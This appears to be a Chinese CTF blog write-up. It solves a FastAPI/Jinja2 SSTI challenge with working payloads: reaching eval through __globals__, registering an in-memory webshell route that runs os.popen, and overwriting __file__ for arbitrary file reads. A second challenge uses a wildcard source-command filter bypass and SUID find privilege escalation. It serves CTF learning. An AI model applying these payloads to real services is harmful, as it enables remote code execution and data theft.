获取中...

-

Just a minute...

GoldenHornKing

源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一次代码,access就会变成True,这个环境就不能打了,所以我们最好还是在本地先去掉这个access,方便我们调试,先打通一遍,再打开环境尝试。

1
2
3
4
5
6
7
8
9
10
@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
access = True
return "fight"

这里calc_req参数外面给了四个大括号,这意味着我们传参不需要像ssti一样再传两对大括号进去了,直接可以打payload。

这里是没给回显的,除非你有read()所以我们只能通过服务器是否爆500来判断我们的payload是否有问题。

我们先拿eval:

1
().__class__.__base__.__subclasses__()[].__init__.__globals__['__builtins__']['eval']

这里使用 .__subclasses__() 后面配合 [] 可能更多地是选择了系统中第一个有 __init____globals__ 的子类,因此不会导致错误。

这里还有一个拿eval的办法:

1
app.__init__.__globals__.__builtins__.eval("1*1")

因为代码前面app = FastAPI(),app是FastAPI的一个对象,我们就可以直接调用app也就是FastAPI类的方法了。

拿到eval后,我们到现在这道题有两个做法:

方法一:打内存马进行rce

打FastAPI内存马,在FastAPI类有一个add_api_route方法,我们可以通过这个方法来增加一个路由,进行rce

1
app.add_api_route('/shell', lambda: __import__('os').popen('whoami').read())

我们需要再eval里重新获取一遍app也就是FastAPI的对象。

1
__import__('sys').modules['__main__'].__dict__['app']
  1. sys.modulessys 模块中有一个名为 modules 的字典,它维护了所有已导入模块的当前状态。这个字典的键是模块的名称,而值是对应的模块对象。
  2. modules['__main__']__main__ 是运行 Python 程序的主模块,无论是直接从命令行运行的脚本,还是通过某个执行环境运行的代码。通过 sys.modules['__main__'],我们获取到了当前执行程序的主模块对象。
  3. __dict__:每个模块对象都有一个 __dict__ 属性,它是一个字典,包含了模块内定义的所有全局变量和函数。
  4. ['app']:最后,从模块的 __dict__ 中获取名为 app 的对象。

然后整合以下payload:

1
app.__init__.__globals__.__builtins__.eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/shell', lambda :__import__('os').popen('cat /flag').read())")

现在访问/shell就可以拿到flag了

方法二:修改__file__进行任意文件读取

1
2
3
4
@app.get("/")
@timeout_after(1)
async def index():
return open(__file__).read()

在跟路由读取了当前代码文件内容,并输出到网页上。那么如果我们能修改__file__为/flag那么访问根路由就能拿到flag了。

__file__在全局变量globals里有

1
setattr(__import__('sys').modules['__main__'],'__file__','/flag')

使用setattr(object, name, value)方法修改对象的属性值。

1
2
3
object -- 对象。
name -- 字符串,对象属性。
value -- 属性值。

Q:为什么不用__import__('sys').modules['__main__'].__dict____file__明明在这里面啊?

A:因为setattr函数的第一个值是一个对象,__dict____main__的一个属性,并不是一个对象。

整合一下payload:

1
app.__init__.__globals__.__builtins__.eval("setattr(__import__('sys').modules['__main__'],'__file__','/flag')")

php_online

http://8.137.112.104/?p=15

admin_Test

扫后台发现/admin.html,这里可以文件上传,并执行命令。

QQ_1724744695876

但是命令执行过滤了基本所有字符,留下的只有:

命令部分fuzz出来的可用字符为t * . /

只能执行临时文件:

1
. /t*/*

通过.(点,也就是 source命令)去执行/tmp目录里的文件

67a60b82f0a64abdb24b4041531f392b

flag没有权限读,尝试提权,发现find命令有suid权限:

42dc5d58fe364771a2e7bb088d7266e4

直接find执行命令:

1
find /etc/passwd -exec cat /flag \;
相关文章
评论
分享
  • 2024鹏城杯web全wp

    python口算-pcb2024123456789101112131415161718192021222324import requestsimport reurl = "http://192.168.18.28"...

    2024鹏城杯web全wp
  • 强网杯2024

    PyBlockly黑名单过滤了所有符号,只能在print里用字母和数字, 1234if check_for_blacklisted_symbols(block['fields']['TEXT']...

    强网杯2024
  • SCTF2024 ezRender

    ezRender这道题主要是成为admin,要成为admin就要伪造cookie,要伪造cookie就要获取jwt密钥。 jwt密钥生成逻辑: 123456789101112131415161718192021import timec...

    SCTF2024 ezRender
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • 第四届长城杯web全题解

    WEB SQLUS 猜测账户是admin密码是任意一个字符 登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。 在头像前端看到了上传路径 flag没有权...

    第四届长城杯web全题解
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛wp
  • PolarCTF2024春季个人挑战赛wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛wp
  • 第九届中国海洋大学信息安全竞赛web题解

    ezPHPparse_str()可以进行变量覆盖。 全部流量包: 菜狗工具#1python继承链攻击。 1print(().__class__.__base__.__subclasses__()[132].__init__.__gl...

    第九届中国海洋大学信息安全竞赛web题解